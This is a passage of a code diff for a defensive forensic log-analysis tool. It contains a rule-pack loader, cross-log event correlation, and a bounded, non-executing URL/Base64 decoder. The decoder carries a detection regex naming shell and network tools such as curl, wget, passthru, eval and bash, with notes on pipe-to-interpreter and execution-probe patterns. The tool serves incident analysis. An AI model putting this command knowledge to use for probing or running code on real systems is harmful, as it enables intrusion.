|
json.dump(result, handle, ensure_ascii=False, indent=2)
|
||||||
|
Console(stderr=True).print(
|
||||||
|
Text(f"Logs extracted to: {os.path.relpath(args.destination)}")
|
||||||
|
)
|
||||||
|
elif args.command == "inventory":
|
||||||
|
result = inventory(args.root)
|
||||||
|
else:
|
||||||
|
if args.max_bytes < 1:
|
||||||
|
raise ValueError("The size limit must be positive")
|
||||||
|
with args.file.open("rb") as handle:
|
||||||
|
data = handle.read(args.max_bytes + 1)
|
||||||
|
if len(data) > args.max_bytes:
|
||||||
|
raise ValueError("Input exceeds the size limit")
|
||||||
|
value = data.decode("utf-8")
|
||||||
|
result = (
|
||||||
|
decode_layers(value, max_bytes=args.max_bytes)
|
||||||
|
if args.command == "decode"
|
||||||
|
else extract_indicators(value)
|
||||||
|
)
|
||||||
|
display_result(result, args.json)
|
||||||
|
return 0
|
||||||
|
except Exception as exc:
|
||||||
|
# No machine-specific paths or payload content in error output.
|
||||||
|
hints = {
|
||||||
|
"FileNotFoundError": "Check that the input file or directory exists.",
|
||||||
|
"FileExistsError": (
|
||||||
|
"Choose a new output directory; existing evidence is never overwritten."
|
||||||
|
),
|
||||||
|
"PermissionError": "Check read access to inputs and write access to the output parent.",
|
||||||
|
"TimeoutError": (
|
||||||
|
"A search exceeded its time limit. Simplify the pattern or adjust --regex-timeout."
|
||||||
|
),
|
||||||
|
"UnicodeDecodeError": (
|
||||||
|
"This command expects UTF-8 text. Keep the original and supply a text export."
|
||||||
|
),
|
||||||
|
"JSONDecodeError": "Check the configuration file for valid JSON.",
|
||||||
|
}
|
||||||
|
message = (
|
||||||
|
str(exc)
|
||||||
|
if isinstance(exc, ConfigError)
|
||||||
|
else hints.get(
|
||||||
|
type(exc).__name__, "Check input formats, configuration and size limits."
|
||||||
|
)
|
||||||
|
)
|
||||||
|
Console(stderr=True).print(
|
||||||
|
Panel(
|
||||||
|
Text(
|
||||||
|
f"{type(exc).__name__}: {message}\n"
|
||||||
|
"If an output directory was created, inspect summary.json.\n"
|
||||||
|
"Run the command with --help for usage."
|
||||||
|
),
|
||||||
|
title="Unable to complete the command",
|
||||||
|
border_style="red",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,195 @@
|
|||||||
|
"""Explicit, bounded loading of local rule files and directories."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import io
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import stat
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
|
||||||
|
class ConfigError(ValueError):
|
||||||
|
"""A configuration error with a filename-only user-facing explanation."""
|
||||||
|
|
||||||
|
|
||||||
|
SUPPORTED_SUFFIXES = frozenset({".json", ".csv", ".txt", ".yaml", ".yml"})
|
||||||
|
MAX_CONFIG_FILES = 64
|
||||||
|
MAX_CONFIG_BYTES = 16 * 1024 * 1024
|
||||||
|
MAX_TOTAL_BYTES = 32 * 1024 * 1024
|
||||||
|
_SKIP_DOCUMENTS = frozenset({"readme.txt", "license.txt", "changelog.txt"})
|
||||||
|
_SKIP_DIRECTORIES = frozenset({"__pycache__", "node_modules"})
|
||||||
|
|
||||||
|
|
||||||
|
def _error_reason(exc: Exception) -> str:
|
||||||
|
if isinstance(exc, OSError):
|
||||||
|
return exc.strerror or type(exc).__name__
|
||||||
|
return str(exc)
|
||||||
|
|
||||||
|
|
||||||
|
def _read_file(path: Path) -> bytes:
|
||||||
|
if path.is_symlink():
|
||||||
|
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
|
||||||
|
if not stat.S_ISREG(path.stat().st_mode):
|
||||||
|
raise ConfigError(f"Rule pack must be a regular file: {path.name}")
|
||||||
|
limit = 4 * 1024 * 1024 if path.suffix.lower() in {".yaml", ".yml"} else MAX_CONFIG_BYTES
|
||||||
|
with path.open("rb") as handle:
|
||||||
|
data = handle.read(limit + 1)
|
||||||
|
if len(data) > limit:
|
||||||
|
raise ConfigError(f"Rule pack exceeds {limit // (1024 * 1024)} MiB: {path.name}")
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def _text_indicator_type(value: str) -> str:
|
||||||
|
try:
|
||||||
|
address = ipaddress.ip_address(value)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
return "ipv4" if address.version == 4 else "ipv6"
|
||||||
|
if re.fullmatch(r"[a-fA-F0-9]{64}", value):
|
||||||
|
return "sha256"
|
||||||
|
if value.startswith(("http://", "https://")) and not any(c.isspace() for c in value):
|
||||||
|
return "url"
|
||||||
|
if value.startswith("/") and not any(c.isspace() for c in value):
|
||||||
|
return "path"
|
||||||
|
return "literal"
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_config(path: Path, raw: bytes, source: str) -> dict[str, Any]:
|
||||||
|
text = raw.decode("utf-8-sig")
|
||||||
|
suffix = path.suffix.lower()
|
||||||
|
if suffix in {".yaml", ".yml"}:
|
||||||
|
return {"sigma_rules": [{"source": source, "yaml": text}]}
|
||||||
|
if suffix == ".json":
|
||||||
|
data = json.loads(text)
|
||||||
|
if isinstance(data, list):
|
||||||
|
return {"patterns": data}
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
raise ConfigError("Configuration must be a JSON object or pattern list")
|
||||||
|
return dict(data)
|
||||||
|
if suffix == ".csv":
|
||||||
|
reader = csv.DictReader(io.StringIO(text, newline=""))
|
||||||
|
if not reader.fieldnames:
|
||||||
|
raise ConfigError("CSV rule pack has no header")
|
||||||
|
rows: list[dict[str, Any]] = []
|
||||||
|
for row in reader:
|
||||||
|
if None in row or any(value is None for value in row.values()):
|
||||||
|
raise ConfigError(f"CSV column count mismatch at line {reader.line_num}")
|
||||||
|
rows.append(dict(row))
|
||||||
|
if "Muster" in reader.fieldnames:
|
||||||
|
return {
|
||||||
|
"patterns": [
|
||||||
|
{**row, "id": row.get("ID") or f"row_{index}", "pattern": row["Muster"]}
|
||||||
|
for index, row in enumerate(rows, 2)
|
||||||
|
]
|
||||||
|
}
|
||||||
|
if not set(reader.fieldnames) & {"value", "indicator", "ip"}:
|
||||||
|
raise ConfigError("IOC CSV requires a value, indicator or ip column")
|
||||||
|
return {
|
||||||
|
"indicators": [
|
||||||
|
{
|
||||||
|
**row,
|
||||||
|
"type": row.get("type") or row.get("indicator_type") or "literal",
|
||||||
|
"value": row.get("value") or row.get("indicator") or row.get("ip") or "",
|
||||||
|
"status": row.get("status") or "reference_only",
|
||||||
|
}
|
||||||
|
for row in rows
|
||||||
|
]
|
||||||
|
}
|
||||||
|
if suffix != ".txt":
|
||||||
|
raise ConfigError(f"Unsupported rule pack format: {path.suffix or '(no extension)'}")
|
||||||
|
return {
|
||||||
|
"indicators": [
|
||||||
|
{
|
||||||
|
"type": _text_indicator_type(line.strip()),
|
||||||
|
"value": line.strip(),
|
||||||
|
"status": "reference_only",
|
||||||
|
}
|
||||||
|
for line in text.splitlines()
|
||||||
|
if line.strip() and not line.lstrip().startswith("#")
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def load_config(path: Path) -> dict[str, Any]:
|
||||||
|
"""Load one explicit pack; preserve additional CSV provenance columns."""
|
||||||
|
try:
|
||||||
|
return _parse_config(path, _read_file(path), path.name)
|
||||||
|
except (OSError, UnicodeError, ValueError, csv.Error) as exc:
|
||||||
|
raise ConfigError(f"Cannot load rule pack {path.name}: {_error_reason(exc)}") from exc
|
||||||
|
|
||||||
|
|
||||||
|
def load_configs(paths: list[Path]) -> list[dict[str, Any]]:
|
||||||
|
"""Expand explicitly requested folders deterministically, with shared quotas."""
|
||||||
|
selected: list[tuple[Path, str]] = []
|
||||||
|
seen: set[Path] = set()
|
||||||
|
visited = 0
|
||||||
|
|
||||||
|
def add(path: Path, source: str) -> None:
|
||||||
|
if path.is_symlink():
|
||||||
|
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
|
||||||
|
canonical = path.resolve()
|
||||||
|
if canonical in seen:
|
||||||
|
return
|
||||||
|
if len(selected) >= MAX_CONFIG_FILES:
|
||||||
|
raise ConfigError(f"Rule pack selection exceeds {MAX_CONFIG_FILES} files")
|
||||||
|
seen.add(canonical)
|
||||||
|
selected.append((path, source))
|
||||||
|
|
||||||
|
for path in paths:
|
||||||
|
if path.is_symlink():
|
||||||
|
raise ConfigError(f"Rule pack symlinks are not supported: {path.name}")
|
||||||
|
if not path.is_dir():
|
||||||
|
add(path, path.name)
|
||||||
|
continue
|
||||||
|
before = len(selected)
|
||||||
|
|
||||||
|
def walk_error(error: OSError, directory: Path = path) -> None:
|
||||||
|
raise ConfigError(
|
||||||
|
f"Cannot read rule directory {directory.name}: {_error_reason(error)}"
|
||||||
|
) from error
|
||||||
|
|
||||||
|
for root, directories, filenames in os.walk(path, followlinks=False, onerror=walk_error):
|
||||||
|
relative = Path(root).relative_to(path)
|
||||||
|
if len(relative.parts) > 32:
|
||||||
|
raise ConfigError(f"Rule directory nesting exceeds 32 levels: {path.name}")
|
||||||
|
visited += 1
|
||||||
|
if visited > 4096:
|
||||||
|
raise ConfigError("Rule directory selection exceeds 4096 directories")
|
||||||
|
directories[:] = sorted(
|
||||||
|
name
|
||||||
|
for name in directories
|
||||||
|
if not name.startswith(".") and name not in _SKIP_DIRECTORIES
|
||||||
|
)
|
||||||
|
for name in directories:
|
||||||
|
if (Path(root) / name).is_symlink():
|
||||||
|
raise ConfigError(f"Rule directory symlinks are not supported: {name}")
|
||||||
|
for name in sorted(filenames):
|
||||||
|
child = Path(root) / name
|
||||||
|
if (
|
||||||
|
name.startswith(".")
|
||||||
|
or name.casefold() in _SKIP_DOCUMENTS
|
||||||
|
or child.suffix.lower() not in SUPPORTED_SUFFIXES
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
add(child, child.relative_to(path).as_posix())
|
||||||
|
selected[before:] = sorted(selected[before:], key=lambda entry: entry[1])
|
||||||
|
if len(selected) == before and not any(path.resolve() in p.parents for p in seen):
|
||||||
|
raise ConfigError(f"No supported rule packs found in directory: {path.name}")
|
||||||
|
total = 0
|
||||||
|
configs = []
|
||||||
|
for path, source in selected:
|
||||||
|
try:
|
||||||
|
raw = _read_file(path)
|
||||||
|
total += len(raw)
|
||||||
|
if total > MAX_TOTAL_BYTES:
|
||||||
|
raise ConfigError("Combined rule packs exceed 32 MiB")
|
||||||
|
configs.append(_parse_config(path, raw, source))
|
||||||
|
except (OSError, UnicodeError, ValueError, csv.Error) as exc:
|
||||||
|
raise ConfigError(f"Cannot load rule pack {path.name}: {_error_reason(exc)}") from exc
|
||||||
|
return configs
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
"""Bounded exact-key, cross-log temporal candidates, never proof of causation."""
|
||||||
|
|
||||||
|
import math
|
||||||
|
import sqlite3
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
|
||||||
|
def correlate_database(
|
||||||
|
connection: sqlite3.Connection, window_seconds: float = 120, max_links: int = 100000
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""Write correlations using existing events and event_keys tables.
|
||||||
|
|
||||||
|
Per event/key, select only the nearest preceding event in a different log
|
||||||
|
on the same appliance. Source means the original relative log filename.
|
||||||
|
Naive timestamps cannot support a UTC comparison and are skipped.
|
||||||
|
"""
|
||||||
|
if not math.isfinite(window_seconds) or window_seconds < 0 or max_links < 1:
|
||||||
|
raise ValueError("invalid correlation limits")
|
||||||
|
connection.execute("""CREATE TABLE IF NOT EXISTS correlations (
|
||||||
|
left_id INTEGER NOT NULL, right_id INTEGER NOT NULL,
|
||||||
|
key_type TEXT NOT NULL, key_value TEXT NOT NULL,
|
||||||
|
delta_seconds REAL NOT NULL, basis TEXT NOT NULL,
|
||||||
|
UNIQUE(left_id,right_id,key_type,key_value))""")
|
||||||
|
connection.execute("DELETE FROM correlations")
|
||||||
|
summary: dict[str, Any] = dict(
|
||||||
|
links=0,
|
||||||
|
groups=0,
|
||||||
|
keys_examined=0,
|
||||||
|
invalid_time_keys=0,
|
||||||
|
invalid_source_keys=0,
|
||||||
|
history_evictions=0,
|
||||||
|
groups_with_evictions=0,
|
||||||
|
truncated=False,
|
||||||
|
window_seconds=window_seconds,
|
||||||
|
max_links=max_links,
|
||||||
|
basis="Temporal candidates sharing an exact key; not evidence of causation or execution.",
|
||||||
|
)
|
||||||
|
current_group = None
|
||||||
|
latest: dict[str, tuple[float, int]] = {}
|
||||||
|
group_evicted = False
|
||||||
|
rows = connection.execute("""SELECT k.event_id,k.appliance,k.key_type,k.key_value,
|
||||||
|
k.timestamp,e.source FROM event_keys k JOIN events e ON e.id=k.event_id
|
||||||
|
WHERE k.appliance=e.appliance AND k.key_value IS NOT NULL AND k.key_value<>''
|
||||||
|
ORDER BY k.appliance,k.key_type,k.key_value,julianday(k.timestamp),k.event_id""")
|
||||||
|
for event_id, appliance, key_type, key_value, stamp, source in rows:
|
||||||
|
summary["keys_examined"] += 1
|
||||||
|
group = appliance, key_type, key_value
|
||||||
|
if group != current_group:
|
||||||
|
current_group, latest, group_evicted = group, {}, False
|
||||||
|
summary["groups"] += 1
|
||||||
|
if not source:
|
||||||
|
summary["invalid_source_keys"] += 1
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
timestamp = datetime.fromisoformat(stamp.replace("Z", "+00:00"))
|
||||||
|
if timestamp.utcoffset() is None:
|
||||||
|
raise ValueError("timezone missing")
|
||||||
|
seconds = timestamp.astimezone(UTC).timestamp()
|
||||||
|
except AttributeError, ValueError, OverflowError, TypeError:
|
||||||
|
summary["invalid_time_keys"] += 1
|
||||||
|
continue
|
||||||
|
latest = {s: p for s, p in latest.items() if 0 <= seconds - p[0] <= window_seconds}
|
||||||
|
candidates = [p for s, p in latest.items() if s != source and p[1] != event_id]
|
||||||
|
if candidates:
|
||||||
|
prior_seconds, prior_id = max(candidates)
|
||||||
|
if summary["links"] >= max_links:
|
||||||
|
summary["truncated"] = True
|
||||||
|
break
|
||||||
|
strong = key_type.lower() in {"transaction", "transaction_id", "session", "session_id"}
|
||||||
|
basis = (
|
||||||
|
"Candidate: matching transaction/session identifier and temporal proximity; "
|
||||||
|
if strong
|
||||||
|
else "Candidate: matching search key and temporal proximity; "
|
||||||
|
)
|
||||||
|
basis += "same appliance, different log files; causation and execution remain unproven."
|
||||||
|
result = connection.execute(
|
||||||
|
"INSERT OR IGNORE INTO correlations VALUES (?,?,?,?,?,?)",
|
||||||
|
(prior_id, event_id, key_type, key_value, seconds - prior_seconds, basis),
|
||||||
|
)
|
||||||
|
summary["links"] += result.rowcount
|
||||||
|
latest[source] = seconds, event_id
|
||||||
|
# ponytail: retain at most 128 log sources per key; eviction is reported, never hidden.
|
||||||
|
if len(latest) > 128:
|
||||||
|
oldest = min(latest, key=lambda s: latest[s])
|
||||||
|
del latest[oldest]
|
||||||
|
summary["history_evictions"] += 1
|
||||||
|
if not group_evicted:
|
||||||
|
summary["groups_with_evictions"] += 1
|
||||||
|
group_evicted = True
|
||||||
|
summary["incomplete"] = summary["truncated"] or bool(summary["history_evictions"])
|
||||||
|
return summary
|
||||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,328 @@
|
|||||||
|
"""Bounded, non-executing text transforms. A decoded command is not execution evidence."""
|
||||||
|
|
||||||
|
import base64
|
||||||
|
import binascii
|
||||||
|
import hashlib
|
||||||
|
import re
|
||||||
|
from collections import deque
|
||||||
|
from itertools import islice
|
||||||
|
from typing import Any
|
||||||
|
from urllib.parse import unquote
|
||||||
|
|
||||||
|
MAX_RECORDS = 64
|
||||||
|
_TOKEN = re.compile(r"(?<![A-Za-z0-9_+/-])[A-Za-z0-9_+/-]{3,}={0,2}(?![A-Za-z0-9_+/=-])")
|
||||||
|
_LONG_TOKEN = re.compile(r"(?<![A-Za-z0-9_+/-])[A-Za-z0-9_+/-]{24,}={0,2}(?![A-Za-z0-9_+/=-])")
|
||||||
|
_ASSIGNED_TOKEN = re.compile(
|
||||||
|
r"(?<![\w.-])[\w.-]{1,80}[ \t]*[:=][ \t]*['\"]?"
|
||||||
|
r"([A-Za-z0-9_+/-]{4,4096}={0,2})(?![A-Za-z0-9_+/=-])"
|
||||||
|
)
|
||||||
|
_COMMANDS = re.compile(
|
||||||
|
r"(?<![\w])(?:curl|wget|chmod|mkdir|passthru|eval|base64|perl|python|sh|bash|tar|kill|id|hostname|sleep)(?![\w])",
|
||||||
|
re.I,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def has_encoding_candidate(text: str) -> bool:
|
||||||
|
"""Cheap gate for encoded fields/blobs without treating every word as Base64."""
|
||||||
|
if re.search(r"%[0-9a-fA-F]{2}|\bbase64\b|(?<![\w.-])[\w.-]{1,80}:[A-Za-z0-9_+/-]{8,}", text):
|
||||||
|
return True
|
||||||
|
for match in _LONG_TOKEN.finditer(text):
|
||||||
|
value = match.group()
|
||||||
|
if "=" in value or (re.search(r"[A-Z]", value) and re.search(r"[a-z]", value)):
|
||||||
|
return True
|
||||||
|
return _encoded_field_text(text.strip()) or any(
|
||||||
|
_encoded_field_text(match.group(1)) for match in _ASSIGNED_TOKEN.finditer(text)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _encoded_field_text(value: str) -> bool:
|
||||||
|
"""Validate a bounded whole field or assigned value, never arbitrary ordinary words."""
|
||||||
|
if not re.fullmatch(r"[A-Za-z0-9_+/-]{4,4096}={0,2}", value):
|
||||||
|
return False
|
||||||
|
normalized = value.replace("-", "+").replace("_", "/")
|
||||||
|
try:
|
||||||
|
data = base64.b64decode(normalized + "=" * (-len(normalized) % 4), validate=True)
|
||||||
|
decoded = data.decode("utf-8")
|
||||||
|
except binascii.Error, UnicodeDecodeError:
|
||||||
|
return False
|
||||||
|
return (
|
||||||
|
base64.b64encode(data).decode("ascii").rstrip("=") == normalized.rstrip("=")
|
||||||
|
and bool(decoded)
|
||||||
|
and all(char.isprintable() or char in "\t\r\n" for char in decoded)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def observations(text: str) -> list[str]:
|
||||||
|
tokens = sorted({m.group().lower() for m in _COMMANDS.finditer(text)})
|
||||||
|
result = (
|
||||||
|
["Command text contains: " + ", ".join(tokens) + "; execution is not established."]
|
||||||
|
if tokens
|
||||||
|
else []
|
||||||
|
)
|
||||||
|
semantics = {
|
||||||
|
"curl": (
|
||||||
|
"curl requests a URL; its arguments determine whether this downloads "
|
||||||
|
"data, sends a callback or transfers data."
|
||||||
|
),
|
||||||
|
"wget": (
|
||||||
|
"wget requests a URL and can save its response to a file; a successful "
|
||||||
|
"request is not established."
|
||||||
|
),
|
||||||
|
"chmod": (
|
||||||
|
"chmod changes file permissions. The target and mode determine its "
|
||||||
|
"effect; an actual change is not established."
|
||||||
|
),
|
||||||
|
"mkdir": "mkdir creates directories; -p can also create missing parent directories.",
|
||||||
|
"tar": (
|
||||||
|
"tar processes archives; -c creates and -x extracts an archive. Assess "
|
||||||
|
"file names and flags together."
|
||||||
|
),
|
||||||
|
"id": "id would print user and group identities and may be used as an execution probe.",
|
||||||
|
"hostname": "hostname can print the system name; arguments may also change it.",
|
||||||
|
"passthru": (
|
||||||
|
"PHP passthru can execute an operating-system command; whether "
|
||||||
|
"execution reached this call is not established."
|
||||||
|
),
|
||||||
|
"eval": (
|
||||||
|
"eval can evaluate an expression or program text; its effect depends on "
|
||||||
|
"the language and reached control flow."
|
||||||
|
),
|
||||||
|
"base64": (
|
||||||
|
"base64 encodes or decodes data depending on its options; decoding "
|
||||||
|
"alone does not execute the content."
|
||||||
|
),
|
||||||
|
"sleep": (
|
||||||
|
"sleep would delay processing for the specified duration and may be "
|
||||||
|
"used as a timing-based execution probe."
|
||||||
|
),
|
||||||
|
"perl": (
|
||||||
|
"perl can interpret code from arguments, files or standard input; "
|
||||||
|
"options such as -i can modify files."
|
||||||
|
),
|
||||||
|
"sh": "sh can execute shell commands from files, arguments or standard input.",
|
||||||
|
"bash": "bash can execute shell commands from files, arguments or standard input.",
|
||||||
|
"python": "python can interpret code from files, arguments or standard input.",
|
||||||
|
}
|
||||||
|
result.extend(semantics[t] for t in tokens if t in semantics)
|
||||||
|
if re.search(r"\bkill\s+-(?:HUP|1)\b", text, re.I):
|
||||||
|
result.append(
|
||||||
|
"kill -HUP sends a HUP signal to the target process. Some services "
|
||||||
|
"reload configuration in response; verify the target and service "
|
||||||
|
"behavior."
|
||||||
|
)
|
||||||
|
if re.search(r"\|\s*(?:sh|bash|perl|python)(?:\s|[;&)]|$)", text):
|
||||||
|
result.append(
|
||||||
|
"A pipe forwards preceding output to an interpreter; if reached "
|
||||||
|
"successfully, the received code would be processed."
|
||||||
|
)
|
||||||
|
if "$_COOKIE" in text and "passthru" in tokens:
|
||||||
|
result.append(
|
||||||
|
"Cookie access and passthru occur in the same text. Inspect the data "
|
||||||
|
"flow to determine whether cookies supply commands; this does not "
|
||||||
|
"establish use."
|
||||||
|
)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def decode_layers(text: str, max_depth: int = 4, max_bytes: int = 1048576) -> list[dict[str, Any]]:
|
||||||
|
"""Original and URL/Base64 branches with parent indexes and exact candidate spans.
|
||||||
|
|
||||||
|
URL decoding never changes '+' to space. Base64 candidates are hypotheses;
|
||||||
|
binary output is recorded as hex and never recursively treated as text.
|
||||||
|
Total transformed bytes and records are bounded, not just each layer.
|
||||||
|
"""
|
||||||
|
if not isinstance(text, str):
|
||||||
|
raise TypeError("text must be str")
|
||||||
|
if not 0 <= max_depth <= 16 or not 1 <= max_bytes <= 16777216:
|
||||||
|
raise ValueError("invalid decoding limits")
|
||||||
|
raw = text.encode("utf-8", errors="surrogatepass")
|
||||||
|
original: dict[str, Any] = dict(
|
||||||
|
transformation="original",
|
||||||
|
scope="all_text",
|
||||||
|
parent=None,
|
||||||
|
depth=0,
|
||||||
|
input=text,
|
||||||
|
output=text,
|
||||||
|
output_encoding="utf-8",
|
||||||
|
sha256=hashlib.sha256(raw).hexdigest(),
|
||||||
|
observations=observations(text[:max_bytes]),
|
||||||
|
error=None,
|
||||||
|
)
|
||||||
|
records = [original]
|
||||||
|
if len(raw) > max_bytes:
|
||||||
|
original["error"] = "input_limit_exceeded; original preserved, decoding skipped"
|
||||||
|
return records
|
||||||
|
queue = deque([(0, text, 0)])
|
||||||
|
seen = {text}
|
||||||
|
remaining = max_bytes
|
||||||
|
|
||||||
|
def add(
|
||||||
|
parent: int,
|
||||||
|
depth: int,
|
||||||
|
transform: str,
|
||||||
|
source: str,
|
||||||
|
output: str | None,
|
||||||
|
data: bytes,
|
||||||
|
scope: str,
|
||||||
|
start: int,
|
||||||
|
error: str | None = None,
|
||||||
|
) -> None:
|
||||||
|
nonlocal remaining
|
||||||
|
if len(records) >= MAX_RECORDS or len(data) > remaining:
|
||||||
|
original["error"] = "transformation_budget_exhausted; results incomplete"
|
||||||
|
return
|
||||||
|
remaining -= len(data)
|
||||||
|
record = dict(
|
||||||
|
transformation=transform,
|
||||||
|
scope=scope,
|
||||||
|
parent=parent,
|
||||||
|
depth=depth,
|
||||||
|
input=source,
|
||||||
|
output=output,
|
||||||
|
output_encoding="utf-8" if output is not None else "hex",
|
||||||
|
sha256=hashlib.sha256(data).hexdigest(),
|
||||||
|
start=start,
|
||||||
|
end=start + len(source),
|
||||||
|
observations=observations(output or ""),
|
||||||
|
error=error,
|
||||||
|
)
|
||||||
|
if output is None:
|
||||||
|
record["output"] = data.hex()
|
||||||
|
records.append(record)
|
||||||
|
if output is not None and output not in seen and not error:
|
||||||
|
seen.add(output)
|
||||||
|
queue.append((len(records) - 1, output, depth))
|
||||||
|
|
||||||
|
while queue and len(records) < MAX_RECORDS:
|
||||||
|
parent, current, depth = queue.popleft()
|
||||||
|
if depth >= max_depth:
|
||||||
|
records[parent]["limit"] = "max_depth_reached; further transformations not inspected"
|
||||||
|
continue
|
||||||
|
if re.search(r"%(?![0-9a-fA-F]{2})", current):
|
||||||
|
records[parent]["observations"].append(
|
||||||
|
"Incomplete or invalid percent sequence; possibly a literal percent "
|
||||||
|
"sign. Complete URL decoding is not established."
|
||||||
|
)
|
||||||
|
records[parent]["error"] = "malformed_percent_candidate; original preserved"
|
||||||
|
if re.search(r"%[0-9a-fA-F]{2}", current):
|
||||||
|
try:
|
||||||
|
decoded = unquote(current, encoding="utf-8", errors="strict")
|
||||||
|
add(
|
||||||
|
parent,
|
||||||
|
depth + 1,
|
||||||
|
"url_percent",
|
||||||
|
current,
|
||||||
|
decoded,
|
||||||
|
decoded.encode(),
|
||||||
|
"all_text",
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
add(
|
||||||
|
parent,
|
||||||
|
depth + 1,
|
||||||
|
"url_percent",
|
||||||
|
current,
|
||||||
|
None,
|
||||||
|
b"",
|
||||||
|
"all_text",
|
||||||
|
0,
|
||||||
|
"invalid_utf8_in_percent_encoding; original preserved",
|
||||||
|
)
|
||||||
|
stripped = current.strip()
|
||||||
|
for explicit in islice(re.finditer(r"\bbase64\s*[:=]\s*([^\s\"'<>]+)", current, re.I), 32):
|
||||||
|
value = explicit.group(1)
|
||||||
|
if not re.fullmatch(r"[A-Za-z0-9_+/-]+={0,2}", value):
|
||||||
|
add(
|
||||||
|
parent,
|
||||||
|
depth + 1,
|
||||||
|
"base64",
|
||||||
|
value,
|
||||||
|
None,
|
||||||
|
b"",
|
||||||
|
"candidate",
|
||||||
|
explicit.start(1),
|
||||||
|
"invalid_base64_alphabet_or_padding; original preserved",
|
||||||
|
)
|
||||||
|
candidates = (
|
||||||
|
[(stripped, current.find(stripped), "all_text")]
|
||||||
|
if re.fullmatch(r"[A-Za-z0-9_+/-]{3,}={0,2}", stripped)
|
||||||
|
else []
|
||||||
|
)
|
||||||
|
for match in _TOKEN.finditer(current):
|
||||||
|
value = match.group()
|
||||||
|
prefix = current[max(0, match.start() - 80) : match.start()]
|
||||||
|
# Bare ordinary words are not evidence of encoding. Small tokens require context.
|
||||||
|
contextual = re.search(r"(?:[?&][\w.-]+=|base64\s*[:=(]\s*['\"]?)$", prefix, re.I)
|
||||||
|
assigned_text = re.search(r"[\w.-]+[ \t]*[:=][ \t]*['\"]?$", prefix) and (
|
||||||
|
_encoded_field_text(value)
|
||||||
|
)
|
||||||
|
marked_blob = (len(value) >= 24 and re.search(r"[\w.-]+:$", prefix)) or re.fullmatch(
|
||||||
|
r"[\w.-]+:", prefix
|
||||||
|
)
|
||||||
|
if (
|
||||||
|
contextual
|
||||||
|
or assigned_text
|
||||||
|
or marked_blob
|
||||||
|
or (
|
||||||
|
len(value) >= 24
|
||||||
|
and (
|
||||||
|
"=" in value or (re.search(r"[A-Z]", value) and re.search(r"[a-z]", value))
|
||||||
|
)
|
||||||
|
)
|
||||||
|
):
|
||||||
|
candidates.append((value, match.start(), "candidate"))
|
||||||
|
if len(candidates) >= 32:
|
||||||
|
original["observations"].append(
|
||||||
|
"Candidate limit reached; additional Base64 candidates at this depth "
|
||||||
|
"were not inspected."
|
||||||
|
)
|
||||||
|
break
|
||||||
|
unique = set()
|
||||||
|
for value, start, scope in candidates[:32]:
|
||||||
|
if (value, start) in unique:
|
||||||
|
continue
|
||||||
|
unique.add((value, start))
|
||||||
|
if len(value) % 4 == 1:
|
||||||
|
add(
|
||||||
|
parent,
|
||||||
|
depth + 1,
|
||||||
|
"base64",
|
||||||
|
value,
|
||||||
|
None,
|
||||||
|
b"",
|
||||||
|
scope,
|
||||||
|
start,
|
||||||
|
"invalid_base64_candidate_length; original preserved",
|
||||||
|
)
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
decoded_bytes = base64.b64decode(
|
||||||
|
value + "=" * (-len(value) % 4), altchars=b"-_", validate=True
|
||||||
|
)
|
||||||
|
except binascii.Error, ValueError:
|
||||||
|
add(
|
||||||
|
parent,
|
||||||
|
depth + 1,
|
||||||
|
"base64",
|
||||||
|
value,
|
||||||
|
None,
|
||||||
|
b"",
|
||||||
|
scope,
|
||||||
|
start,
|
||||||
|
"invalid_base64_candidate; original preserved",
|
||||||
|
)
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
candidate_text = decoded_bytes.decode("utf-8")
|
||||||
|
decoded_text = (
|
||||||
|
None
|
||||||
|
if any(ord(c) < 32 and c not in "\t\r\n" for c in candidate_text)
|
||||||
|
else candidate_text
|
||||||
|
)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
decoded_text = None
|
||||||
|
add(parent, depth + 1, "base64", value, decoded_text, decoded_bytes, scope, start)
|
||||||
|
if queue and len(records) >= MAX_RECORDS:
|
||||||
|
original["error"] = "record_limit_exceeded; results incomplete"
|
||||||
|
return records
|
||||||
@@ -0,0 +1,449 @@
|
|||||||
|
"""Single-pass scanning with an on-disk evidence index and explicit coverage."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import csv
|
||||||
|
import json
|
||||||
|
import platform
|
||||||
|
import sqlite3
|
||||||
|
import time
|
||||||
|
from collections import Counter
|
||||||
|
from contextlib import suppress
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from functools import lru_cache
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
from . import __version__
|
||||||
|
from .decoding import decode_layers, has_encoding_candidate
|
||||||
|
from .indicators import extract_indicators
|
||||||
|
from .ingest import inventory, iter_records
|
||||||
|
from .matching import Matcher
|
||||||
|
